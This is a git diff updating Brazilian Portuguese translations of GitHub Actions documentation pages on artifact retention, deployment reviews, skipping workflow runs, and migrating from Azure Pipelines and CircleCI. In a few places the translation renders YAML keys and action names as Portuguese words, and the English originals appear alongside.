-You can also define a custom retention period for individual artifacts using the `actions/upload-artifact` action in a workflow. For more information, see "[Storing workflow data as artifacts](/actions/guides/storing-workflow-data-as-artifacts#configuring-a-custom-artifact-retention-period)."
+Você também pode definir um período de retenção personalizado para artefatos individuais usando a ação `actions/upload-artefato` em um fluxo de trabalho. Para obter mais informações, consulte "[Armazenar dados de fluxo de trabalho como artefatos](/actions/guides/storing-workflow-data-as-artifacts#configuring-a-custom-artifact-retention-period)".
 
-## Finding the expiration date of an artifact
+## Localizar a data de expiração de um artefato
 
-You can use the API to confirm the date that an artifact is scheduled to be deleted. For more information, see the `expires_at` value returned by "[List artifacts for a repository](/rest/reference/actions#artifacts)."
+Você pode usar a API para confirmar a data em que um artefato está agendado para ser excluído. Para obter mais informações, consulte o valor `expires_at` valor retornado por "[Listar artefatos para um repositório](/rest/reference/actions#artifacts). "
diff --git a/translations/pt-BR/content/actions/managing-workflow-runs/reviewing-deployments.md b/translations/pt-BR/content/actions/managing-workflow-runs/reviewing-deployments.md
index 0e164843de..51e67bd7bb 100644
--- a/translations/pt-BR/content/actions/managing-workflow-runs/reviewing-deployments.md
+++ b/translations/pt-BR/content/actions/managing-workflow-runs/reviewing-deployments.md
@@ -1,6 +1,6 @@
 ---
-title: Reviewing deployments
-intro: You can approve or reject jobs awaiting review.
+title: Revisar implantações
+intro: Você pode aprovar ou rejeitar trabalhos que estão aguardando revisão.
 product: '{% data reusables.gated-features.environments %}'
 versions:
   fpt: '*'
@@ -10,19 +10,17 @@ versions:
 ---
 
 
-## About required reviews in workflows
+## Sobre revisões necessárias nos fluxos de trabalho
 
-Jobs that reference an environment configured with required reviewers will wait for an approval before starting. While a job is awaiting approval, it has a status of "Waiting". If a job is not approved within 30 days, the workflow run will be automatically canceled.
+Os trabalhos que fazem referência a um ambiente configurado com os revisores necessários irão aguardar a aprovação antes de serem iniciados. Enquanto um trabalho está aguardando aprovação, ele tem um status de "Aguardando". Se um trabalho não for aprovado em 30 dias, a execução do fluxo de trabalho será automaticamente cancelada.
 
-For more information about environments and required approvals, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."{% ifversion fpt or ghae or ghes > 3.1 or ghec %} For information about how to review deployments with the REST API, see "[Workflow Runs](/rest/reference/actions#workflow-runs)."{% endif %}
+Para obter mais informações sobre ambientes e aprovações necessárias, consulte "[Usando ambientes para implantação](/actions/deployment/using-environments-for-deployment).{% ifversion fpt or ghae or ghes > 3.1 or ghec %} Para obter informações sobre como revisar implantações com a API REST, consulte "[Execuções de trabalho](/rest/reference/actions#workflow-runs)."{% endif %}
 
-## Approving or rejecting a job
+## Aprovar ou rejeitar um trabalho
 
-1. Navigate to the workflow run that requires review. For more information about navigating to a workflow run, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
-2. Click **Review deployments**. 
-   ![Review deployments](/assets/images/actions-review-deployments.png)
-3. Select the job environment(s) to approve or reject. Optionally, leave a comment.
-   ![Approve deployments](/assets/images/actions-approve-deployments.png)
-4. Approve or reject:
-   - To approve the job, click **Approve and deploy**. Once a job is approved (and any other environment protection rules have passed), the job will proceed. At this point, the job can access any secrets stored in the environment.
-   - To reject the job, click **Reject**. If a job is rejected, the workflow will fail.
+1. Acesse a execução do fluxo de trabalho que requer revisão. Para obter mais informações sobre navegação até uma execução do fluxo de trabalho, consulte "[Visualizar histórico de execução de fluxo de trabalho](/actions/managing-workflow-runs/viewing-workflow-run-history)".
+2. Clique em **Revisar implantações**. ![Revisar implantações](/assets/images/actions-review-deployments.png)
+3. Selecione o(s) ambiente(s) de trabalho a serem aprovados ou rejeitados. Opcionalmente, deixe um comentário. ![Aprovar implantações](/assets/images/actions-approve-deployments.png)
+4. Aprovar ou rejeitar:
+   - Para aprovar o trabalho, clique em **Aprovar e implantar**. Assim que um trabalho for aprovado (e quaisquer outras regras de proteção do ambiente serem aprovadas), o trabalho prosseguirá. Nesta altura, o trabalho pode acessar quaisquer segredos armazenados no ambiente.
+   - Para rejeitar o trabalho, clique em **Rejeitar**. Se um trabalho for rejeitado, o fluxo de trabalho falhará.
diff --git a/translations/pt-BR/content/actions/managing-workflow-runs/skipping-workflow-runs.md b/translations/pt-BR/content/actions/managing-workflow-runs/skipping-workflow-runs.md
index 54666daf39..83659df7d2 100644
--- a/translations/pt-BR/content/actions/managing-workflow-runs/skipping-workflow-runs.md
+++ b/translations/pt-BR/content/actions/managing-workflow-runs/skipping-workflow-runs.md
@@ -1,18 +1,18 @@
 ---
-title: Skipping workflow runs
-intro: You can skip workflow runs triggered by the `push` and `pull_request` events by including a command in your commit message.
+title: Ignorar execuções de fluxo de trabalho
+intro: Você pode ignorar as execuções de fluxo de trabalho acionadas pelos eventos `push` e `pull_request` incluindo um comando na sua mensagem de commit.
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Skip workflow runs
+shortTitle: Ignorar execução de fluxo de trabalho
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-Workflows that would otherwise be triggered using `on: push` or `on: pull_request` won't be triggered if you add any of the following strings to the commit message in a push, or the HEAD commit of a pull request:
+Os fluxos de trabalho que seriam acionados usando `on: push` ou `on: pull_request` não serão acionado se você adicionar qualquer uma das strings a seguir para a mensagem de commit em um push ou o commit HEAD de um pull request:
 
 * `[skip ci]`
 * `[ci skip]`
@@ -20,14 +20,14 @@ Workflows that would otherwise be triggered using `on: push` or `on: pull_reques
 * `[skip actions]`
 * `[actions skip]`
 
-Alternatively, you can end the commit message with two empty lines followed by either `skip-checks: true` or `skip-checks:true`.
+Como alternativa, você pode terminar a mensagem de commit com duas linhas vazias seguidas de `skip-checks: true` ou `skip-checks:true`.
 
-You won't be able to merge the pull request if your repository is configured to require specific checks to pass first. To allow the pull request to be merged you can push a new commit to the pull request without the skip instruction in the commit message.
+Você não conseguirá fazer o merge do pull request se o repositório estiver configurado para exigir verificações específicas para passar primeiro. Para permitir que o merge do pull request, você pode fazer o push de um novo commit no pull request sem que a instrução seja ignorada na mensagem do commit.
 
 {% note %}
 
-**Note:** Skip instructions only apply to the `push` and `pull_request` events. For example, adding `[skip ci]` to a commit message won't stop a workflow that's triggered `on: pull_request_target` from running.
+**Observação:** Ignorar instruções só se aplica aos eventos `push` e `pull_request`. Por exemplo, adicionar `[skip ci]` a uma mensagem de commit não impedirá que um fluxo de trabalho que acionou `on : pull_request_target` seja executado.
 
 {% endnote %}
 
-Skip instructions only apply to the workflow run(s) that would be triggered by the commit that contains the skip instructions. You can also disable a workflow from running. For more information, see "[Disabling and enabling a workflow](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)."
+Ignorar as instruções só se aplica às execuções do(s) fluxo(s) de trabalho que serão acionadas pelo commit que contém as instruções de para ignorar. Você também pode desabilitar um fluxo de trabalho da execução. Para obter mais informações, consulte "[Desabilitar e habilitar um fluxo de trabalho](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)".
diff --git a/translations/pt-BR/content/actions/migrating-to-github-actions/index.md b/translations/pt-BR/content/actions/migrating-to-github-actions/index.md
index 54a6cff1d2..fb873aa901 100644
--- a/translations/pt-BR/content/actions/migrating-to-github-actions/index.md
+++ b/translations/pt-BR/content/actions/migrating-to-github-actions/index.md
@@ -1,7 +1,7 @@
 ---
-title: Migrating to GitHub Actions
-shortTitle: Migrating to GitHub Actions
-intro: 'Learn how to migrate your existing CI/CD workflows to {% data variables.product.prodname_actions %}.'
+title: Migrar para o GitHub Actions
+shortTitle: Migrar para o GitHub Actions
+intro: 'Aprenda como fazer a migração dos seus fluxos de trabalho de CI/CD existentes para {% data variables.product.prodname_actions %}.'
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md b/translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md
index 1821812d34..40bfd4761c 100644
--- a/translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md
+++ b/translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating from Azure Pipelines to GitHub Actions
-intro: '{% data variables.product.prodname_actions %} and Azure Pipelines share several configuration similarities, which makes migrating to {% data variables.product.prodname_actions %} relatively straightforward.'
+title: Migrar do Azure Pipelines para o GitHub Actions
+intro: 'O {% data variables.product.prodname_actions %} e o Azure Pipelines compartilham várias semelhanças de configuração, o que torna a migração para {% data variables.product.prodname_actions %} relativamente simples.'
 redirect_from:
   - /actions/learn-github-actions/migrating-from-azure-pipelines-to-github-actions
 versions:
@@ -14,47 +14,47 @@ topics:
   - Migration
   - CI
   - CD
-shortTitle: Migrate from Azure Pipelines
+shortTitle: Fazer a migração a partir dos pipelines do Azure
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-Azure Pipelines and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. Azure Pipelines and {% data variables.product.prodname_actions %} share some similarities in workflow configuration:
+O Azure Pipelines e o {% data variables.product.prodname_actions %} permitem criar fluxos de trabalho que automaticamente criam, testam, publicam, lançam e implantam códigos. O Azure Pipelines e o {% data variables.product.prodname_actions %} compartilham algumas similaridades na configuração do fluxo de trabalho:
 
-- Workflow configuration files are written in YAML and are stored in the code's repository.
-- Workflows include one or more jobs.
-- Jobs include one or more steps or individual commands.
-- Steps or tasks can be reused and shared with the community.
+- Os arquivos de configuração do fluxo de trabalho são gravados YAML e armazenados no repositório do código.
+- Os fluxos de trabalho incluem um ou mais trabalhos.
+- Os trabalhos incluem uma ou mais etapas ou comandos individuais.
+- É possível reutilizar e compartilhar novamente etapas ou tarefas com a comunidade.
 
-For more information, see "[Core concepts for {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)."
+Para obter mais informações, consulte "[Conceitos básicos para {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)".
 
-## Key differences
+## Principais diferenças
 
-When migrating from Azure Pipelines, consider the following differences:
+Ao migrar do Azure Pipelines, considere as diferenças a seguir:
 
-- Azure Pipelines supports a legacy _classic editor_, which lets you define your CI configuration in a GUI editor instead of creating the pipeline definition in a YAML file. {% data variables.product.prodname_actions %} uses YAML files to define workflows and does not support a graphical editor.
-- Azure Pipelines allows you to omit some structure in job definitions. For example, if you only have a single job, you don't need to define the job and only need to define its steps. {% data variables.product.prodname_actions %} requires explicit configuration, and YAML structure cannot be omitted.
-- Azure Pipelines supports _stages_ defined in the YAML file, which can be used to create deployment workflows. {% data variables.product.prodname_actions %} requires you to separate stages into separate YAML workflow files.
-- On-premises Azure Pipelines build agents can be selected with capabilities. {% data variables.product.prodname_actions %} self-hosted runners can be selected with labels.
+- O Azure Pipelines suporta um legado do _editor clássico_, que permite que você defina sua configuração de CI em um editor GUI em vez de criar a definição do pipeline em um arquivo YAML. O {% data variables.product.prodname_actions %} usa arquivos YAML para definir fluxos de trabalho e não é compatível com um editor gráfico.
+- O Azure Pipelines permite que você omita algumas estruturas nas definições de trabalho. Por exemplo, se você tem apenas um único trabalho, não é necessário definir o trabalho. Você precisa definir apenas as etapas. O {% data variables.product.prodname_actions %} requer configuração explícita e não é possível omitir a estrutura do YAML.
+- O Azure Pipelines é compatível com as _etapas_ definidas no arquivo YAML, que pode ser usado para criar fluxos de trabalho de implantação. O {% data variables.product.prodname_actions %} exige que você que você separe as etapas em arquivos separados do fluxo de trabalho do YAML.
+- É possível selecionar os agentes de criação locais do Azure Pipelines com recursos. {% data variables.product.prodname_actions %} executores auto-hospedados podem ser selecionados com etiquetas.
 
-## Migrating jobs and steps
+## Migrar trabalhos e etapas
 
-Jobs and steps in Azure Pipelines are very similar to jobs and steps in {% data variables.product.prodname_actions %}. In both systems, jobs have the following characteristics:
+Os trabalhos e as etapas no Azure Pipelines são muito semelhantes a trabalhos e etapas do {% data variables.product.prodname_actions %}. Em ambos os sistemas, os trabalhos têm as características a seguir:
 
-* Jobs contain a series of steps that run sequentially.
-* Jobs run on separate virtual machines or in separate containers.
-* Jobs run in parallel by default, but can be configured to run sequentially.
+* Os trabalhos contêm uma série de etapas executadas em sequência.
+* Os trabalhos são executados em máquinas virtuais separadas ou em contêineres separados.
+* Por padrão, os trabalhos executados em paralelo, mas podem ser configuradas para serem executados em sequência.
 
-## Migrating script steps
+## Migrar etapas de script
 
-You can run a script or a shell command as a step in a workflow. In Azure Pipelines, script steps can be specified using the `script` key, or with the `bash`, `powershell`, or `pwsh` keys. Scripts can also be specified as an input to the [Bash task](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/bash?view=azure-devops) or the [PowerShell task](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/powershell?view=azure-devops).
+Você pode executar um script ou um comando de shell como uma etapa em um fluxo de trabalho. No Azure Pipelines, as etapas do script podem ser especificadas usando a chave `script`, ou usando as chaves `bash`, `powershell`, ou `pwsh`. É possível especificar os scripts como entrada para uma [tarefa de Bash](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/bash?view=azure-devops) ou a como uma [tarefa de PowerShell](https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/powershell?view=azure-devops).
 
-In {% data variables.product.prodname_actions %}, all scripts are specified using the `run` key. To select a particular shell, you can specify the `shell` key when providing the script. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)."
+Em {% data variables.product.prodname_actions %}, todos os scripts são especificados usando a chave `executar`. Para selecionar um shell específico, você pode especificar a chave `shell` ao fornecer o script. Para obter mais informações, consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)".
 
-Below is an example of the syntax for each system:
+Abaixo, há um exemplo da sintaxe para cada sistema:
 
 <table class="d-block">
 <tr>
@@ -103,19 +103,19 @@ jobs:
 </tr>
 </table>
 
-## Differences in script error handling
+## Diferenças na manipulação de erros de script
 
-In Azure Pipelines, scripts can be configured to error if any output is sent to `stderr`. {% data variables.product.prodname_actions %} does not support this configuration.
+No Azure Pipelines, os scripts podem ser configurados com erro se houver uma saída for enviada para `stderr`. {% data variables.product.prodname_actions %} não suporta esta configuração.
 
-{% data variables.product.prodname_actions %} configures shells to "fail fast" whenever possible, which stops the script immediately if one of the commands in a script exits with an error code. In contrast, Azure Pipelines requires explicit configuration to exit immediately on an error. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference)."
+{% data variables.product.prodname_actions %} configura shells como "falha rápida" sempre que possível, que interrompe o script imediatamente caso um dos comandos em um script saia com um código de erro. Em contrapartida, o Azure Pipelines exige uma configuração explícita para sair imediatamente de um erro. Para obter mais informações, consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference)".
 
-## Differences in the default shell on Windows
+## Diferenças no shell-padrão no Windows
 
-In Azure Pipelines, the default shell for scripts on Windows platforms is the Command shell (_cmd.exe_). In {% data variables.product.prodname_actions %}, the default shell for scripts on Windows platforms is PowerShell. PowerShell has several differences in built-in commands, variable expansion, and flow control.
+No Azure Pipelines, o shell-padrão para scripts nas plataformas do Windows é o shell de comando (_cmd.exe_). Em {% data variables.product.prodname_actions %}, o shell-padrão para os scripts nas plataformas do Windows é o PowerShell. O PowerShell tem várias diferenças em comandos integrados, expansão de variáveis e controle de fluxo.
 
-If you're running a simple command, you might be able to run a Command shell script in PowerShell without any changes. But in most cases, you will either need to update your script with PowerShell syntax or instruct {% data variables.product.prodname_actions %} to run the script with the Command shell instead of PowerShell. You can do this by specifying `shell` as `cmd`.
+Se você estiver executando um comando simples, você poderá executar um script do shell do comando no PowerShell sem alterações. No entanto, na maioria dos casos, você deverá atualizar seu script com sintaxe PowerShell ou instruir {% data variables.product.prodname_actions %} para executar o script com a shell de comando em vez de executar o PowerShell. Você pode fazer isso especificando o `shell` como `cmd`.
 
-Below is an example of the syntax for each system:
+Abaixo, há um exemplo da sintaxe para cada sistema:
 
 <table class="d-block">
 <tr>
@@ -155,15 +155,15 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#using-a-specific-shell)."
+Para obter mais informações, consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#using-a-specific-shell)".
 
-## Migrating conditionals and expression syntax
+## Migrar condicionais e sintaxe de expressão
 
-Azure Pipelines and {% data variables.product.prodname_actions %} can both run steps conditionally. In Azure Pipelines, conditional expressions are specified using the `condition` key. In {% data variables.product.prodname_actions %}, conditional expressions are specified using the `if` key.
+O Azure Pipelines e {% data variables.product.prodname_actions %} podem executar as etapas condicionalmente. No Azure Pipelines, expressões condicionais são especificadas usando a chave `condição`. Em {% data variables.product.prodname_actions %}, as expressões condicionais são especificadas usando a chave `se`.
 
-Azure Pipelines uses functions within expressions to execute steps conditionally. In contrast, {% data variables.product.prodname_actions %} uses an infix notation. For example, you must replace the `eq` function in Azure Pipelines with the `==` operator in {% data variables.product.prodname_actions %}.
+O Azure Pipelines usa funções dentro de expressões para executar as etapas condicionalmente. Em contrapartida, {% data variables.product.prodname_actions %} usa uma notação de infixo. Por exemplo, você deve substituir a função `eq` no Azure Pipelines pelo operador `==` em {% data variables.product.prodname_actions %}.
 
-Below is an example of the syntax for each system:
+Abaixo, há um exemplo da sintaxe para cada sistema:
 
 <table class="d-block">
 <tr>
@@ -203,13 +203,13 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
+Para obter mais informações, consulte "[Expressões](/actions/learn-github-actions/expressions)".
 
-## Dependencies between jobs
+## Dependências entre trabalhos
 
-Both Azure Pipelines and {% data variables.product.prodname_actions %} allow you to set dependencies for a job. In both systems, jobs run in parallel by default, but job dependencies can be specified explicitly. In Azure Pipelines, this is done with the `dependsOn` key. In {% data variables.product.prodname_actions %}, this is done with the `needs` key.
+Tanto o Pipelines Azure quanto o {% data variables.product.prodname_actions %} permitem que você defina as dependências para um trabalho. Em ambos os sistemas, os trabalhos são executados em paralelo por padrão, mas as dependências do trabalho podem ser especificadas explicitamente. No Azure Pipelines, isso é feito com a chave `dependsOn`. Em {% data variables.product.prodname_actions %}, isso é feito com a chave `needs`.
 
-Below is an example of the syntax for each system. The workflows start a first job named `initial`, and when that job completes, two jobs named `fanout1` and `fanout2` will run. Finally, when those jobs complete, the job `fanin` will run.
+Abaixo, há um exemplo da sintaxe para cada sistema. O fluxo de trabalho inicia um primeiro trabalho denominado `inicial` e, quando esse trabalho é concluído, dois trabalhos denominados `fanout1` e `fanout2` serão executados. Por fim, quando esses trabalhos forem concluídos, o trabalho `fanin` será executado.
 
 <table class="d-block">
 <tr>
@@ -280,13 +280,13 @@ jobs:
 </tr>
 </table>
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)."
+Para obter mais informações, consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)".
 
-## Migrating tasks to actions
+## Migrar tarefas para ações
 
-Azure Pipelines uses _tasks_, which are application components that can be re-used in multiple workflows. {% data variables.product.prodname_actions %} uses _actions_, which can be used to perform tasks and customize your workflow. In both systems, you can specify the name of the task or action to run, along with any required inputs as key/value pairs.
+O Azure Pipelines usa as _tarefas_, que são componentes do aplicativo que podem ser reutilizados em vários fluxos de trabalho. O {% data variables.product.prodname_actions %} usa as _ações_, que podem ser usadas para realizar tarefas e personalizar seu fluxo de trabalho. Em ambos os sistemas, é possível especificar o nome da tarefa ou ação a executar, junto com quaisquer entradas necessárias como pares chave/valor.
 
-Below is an example of the syntax for each system:
+Abaixo, há um exemplo da sintaxe para cada sistema:
 
 <table>
 <tr>
@@ -332,4 +332,4 @@ jobs:
 </tr>
 </table>
 
-You can find actions that you can use in your workflow in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions), or you can create your own actions. For more information, see "[Creating actions](/actions/creating-actions)."
+Você pode encontrar ações que podem ser usadas em seu fluxo de trabalho em [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions) ou você pode criar suas próprias ações. Para obter mais informações, consulte "[Criar ações](/actions/creating-actions)".
diff --git a/translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md b/translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md
index aa34d59cd5..5555198c51 100644
--- a/translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md
+++ b/translations/pt-BR/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating from CircleCI to GitHub Actions
-intro: 'GitHub Actions and CircleCI share several similarities in configuration, which makes migration to GitHub Actions relatively straightforward.'
+title: Migrar do CircleCI para o GitHub Actions
+intro: 'O GitHub Actions e o CircleCI compartilham várias semelhanças em termos de configuração, o que torna a migração para o GitHub Actions relativamente fácil.'
 redirect_from:
   - /actions/learn-github-actions/migrating-from-circleci-to-github-actions
 versions:
@@ -14,74 +14,75 @@ topics:
   - Migration
   - CI
   - CD
-shortTitle: Migrate from CircleCI
+shortTitle: Fazer a migração a partir do CircleCI
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-CircleCI and {% data variables.product.prodname_actions %} both allow you to create workflows that automatically build, test, publish, release, and deploy code. CircleCI and {% data variables.product.prodname_actions %} share some similarities in workflow configuration:
+O CircleCI e {% data variables.product.prodname_actions %} permitem criar fluxos de trabalho que criam, testam, publicam, lançam e implementam código automaticamente. O CircleCI e o {% data variables.product.prodname_actions %} compartilham algumas semelhanças em termos de configuração do fluxo de trabalho:
 
-- Workflow configuration files are written in YAML and stored in the repository.
-- Workflows include one or more jobs.
-- Jobs include one or more steps or individual commands.
-- Steps or tasks can be reused and shared with the community.
+- Os arquivos de configuração do fluxo de trabalho são gravados no YAML e armazenados no repositório.
+- Os fluxos de trabalho incluem um ou mais trabalhos.
+- Os trabalhos incluem uma ou mais etapas ou comandos individuais.
+- É possível reutilizar e compartilhar novamente etapas ou tarefas com a comunidade.
 
-For more information, see "[Core concepts for {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)."
+Para obter mais informações, consulte "[Conceitos básicos para {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)".
 
-## Key differences
+## Principais diferenças
 
-When migrating from CircleCI, consider the following differences:
+Ao fazer a migração do CircleCI, considere as seguintes diferenças:
 
-- CircleCI’s automatic test parallelism automatically groups tests according to user-specified rules or historical timing information. This functionality is not built into {% data variables.product.prodname_actions %}.
-- Actions that execute in Docker containers are sensitive to permissions problems since containers have a different mapping of users. You can avoid many of these problems by not using the `USER` instruction in your *Dockerfile*. {% ifversion ghae %}{% data reusables.actions.self-hosted-runners-software %}
-{% else %}For more information about the Docker filesystem on {% data variables.product.product_name %}-hosted runners, see "[Virtual environments for {% data variables.product.product_name %}-hosted runners](/actions/reference/virtual-environments-for-github-hosted-runners#docker-container-filesystem)."
+- O paralelismo do teste automático do CircleCI agrupa automaticamente os testes de acordo com regras especificadas pelo usuário ou com informações históricas de temporização. Esta funcionalidade não foi criada em {% data variables.product.prodname_actions %}.
+- As ações que são executadas em contêineres Docker são sensíveis a problemas de permissões, uma vez que os contêineres têm um mapeamento diferente de usuários. Você pode evitar muitos desses problemas se não usar a instrução `USUÁRIO` no seu *arquivo Docker*. {% ifversion ghae %}{% data reusables.actions.self-hosted-runners-software %}
+{% else %}Para obter mais informações sobre o sistema de arquivos Docker em executores hospedados em {% data variables.product.product_name %}, consulte "[Ambientes virtuais para executores hospedados em {% data variables.product.product_name %}](/actions/reference/virtual-environments-for-github-hosted-runners#docker-container-filesystem)."
 {% endif %}
 
-## Migrating workflows and jobs
+## Migrar fluxos de trabalhos e trabalhos
 
-CircleCI defines `workflows` in the *config.yml* file, which allows you to configure more than one workflow. {% data variables.product.product_name %} requires one workflow file per workflow, and as a consequence, does not require you to declare `workflows`. You'll need to create a new workflow file for each workflow configured in *config.yml*.
+O CircleCI define os `fluxos de trabalho` no arquivo *config.yml*, o que permite configurar mais de um fluxo de trabalho. O {% data variables.product.product_name %} exige um arquivo de fluxo de trabalho por fluxo de trabalho e, consequentemente, não exige que você declare os `fluxos de trabalho`. Será necessário criar um novo arquivo de fluxo de trabalho para cada fluxo de trabalho configurado em *config.yml*.
 
-Both CircleCI and {% data variables.product.prodname_actions %} configure `jobs` in the configuration file using similar syntax. If you configure any dependencies between jobs using `requires` in your CircleCI workflow, you can use the equivalent {% data variables.product.prodname_actions %} `needs` syntax. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)."
+Tanto o CircleCI quanto o {% data variables.product.prodname_actions %} configuram `trabalhos` no arquivo de configuração usando uma sintaxe similar. Se você configurar qualquer dependência entre trabalhos usando `requires` em seu fluxo de trabalho CircleCI, você poderá usar a sintaxe equivalente {% data variables.product.prodname_actions %} `needs`. Para obter mais informações, consulte "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idneeds)".
 
-## Migrating orbs to actions
+## Migrar orbes para ações
 
-Both CircleCI and {% data variables.product.prodname_actions %} provide a mechanism to reuse and share tasks in a workflow. CircleCI uses a concept called orbs, written in YAML, to provide tasks that people can reuse in a workflow. {% data variables.product.prodname_actions %} has powerful and flexible reusable components called actions, which you build with either JavaScript files or Docker images. You can create actions by writing custom code that interacts with your repository in any way you'd like, including integrating with {% data variables.product.product_name %}'s APIs and any publicly available third-party API. For example, an action can publish npm modules, send SMS alerts when urgent issues are created, or deploy production-ready code. For more information, see "[Creating actions](/actions/creating-actions)."
+Tanto o CircleCI quanto o {% data variables.product.prodname_actions %} fornecem um mecanismo para reutilizar e compartilhar tarefas em um fluxo de trabalho. O CircleCI usa um conceito chamado orbs, escrito em YAML, para fornecer tarefas que as pessoas podem reutilizar em um fluxo de trabalho. O {% data variables.product.prodname_actions %} tem componentes potentes, reutilizáveis e flexíveis denominados ações, que você cria com arquivos JavaScript ou imagens Docker. Você pode criar ações gravando códigos personalizados que interajam com o seu repositório da maneira que você quiser, inclusive fazendo integrações com as APIs do {% data variables.product.product_name %} e qualquer API de terceiros disponível publicamente. Por exemplo, as ações podem publicar módulos npm, enviar alertas SMS quando problemas urgentes forem criados ou implantar códigos prontos para produção. Para obter mais informações, consulte "[Criar ações](/actions/creating-actions)".
 
-CircleCI can reuse pieces of workflows with YAML anchors and aliases. {% data variables.product.prodname_actions %} supports the most common need for reusability using build matrixes. For more information about build matrixes, see "[Managing complex workflows](/actions/learn-github-actions/managing-complex-workflows/#using-a-build-matrix)."
+O CircleCI pode reutilizar partes dos fluxos de trabalho com âncoras e aliases YAML. O {% data variables.product.prodname_actions %} suporta a necessidade mais comum de reutilização usando matrizes de criação. Para obter mais informações sobre matrizes de criação, consulte "[Gerenciar fluxos de trabalho complexos](/actions/learn-github-actions/managing-complex-workflows/#using-a-build-matrix)".
 
-## Using Docker images
+## Usar imagens do Docker
 
 
-Both CircleCI and {% data variables.product.prodname_actions %} support running steps inside of a Docker image.
+Tanto o CircleCI quanto o {% data variables.product.prodname_actions %} suportam executar etapas dentro de uma imagem do Docker.
 
-CircleCI provides a set of pre-built images with common dependencies. These images have the `USER` set to `circleci`, which causes permissions to conflict with {% data variables.product.prodname_actions %}.
+O CircleCI fornece um conjunto de imagens pré-construídas com dependências comuns. Estas imagens têm o `USUÁRIO` definido como `circleci`, o que faz com que as permissões entrem em conflito com {% data variables.product.prodname_actions %}.
 
-We recommend that you move away from CircleCI's pre-built images when you migrate to {% data variables.product.prodname_actions %}. In many cases, you can use actions to install the additional dependencies you need.
+Recomendamos que você se afaste das imagens pré-criadas do CircleCI, ao migrar para {% data variables.product.prodname_actions %}. Em muitos casos, você pode usar ações para instalar as dependências adicionais de que você precisa.
 
 {% ifversion ghae %}
-For more information about the Docker filesystem, see "[Docker container filesystem](/actions/using-github-hosted-runners/about-ae-hosted-runners#docker-container-filesystem)."
+Para obter mais informações sobre o sistema de arquivos Docker, consulte "[sistema de arquivos do Docker](/actions/using-github-hosted-runners/about-ae-hosted-runners#docker-container-filesystem)".
 
 {% data reusables.actions.self-hosted-runners-software %}
 {% else %}
-For more information about the Docker filesystem, see "[Virtual environments for {% data variables.product.product_name %}-hosted runners](/actions/reference/virtual-environments-for-github-hosted-runners#docker-container-filesystem)."
+Para obter mais informações sobre o sistema de arquivos Docker, consulte "[Ambientes virtuais para executores hospedados em {% data variables.product.product_name %}](/actions/reference/virtual-environments-for-github-hosted-runners#docker-container-filesystem)".
+Para obter mais informações sobre as ferramentas e pacotes disponíveis em
 
-For more information about the tools and packages available on {% data variables.product.prodname_dotcom %}-hosted virtual environments, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
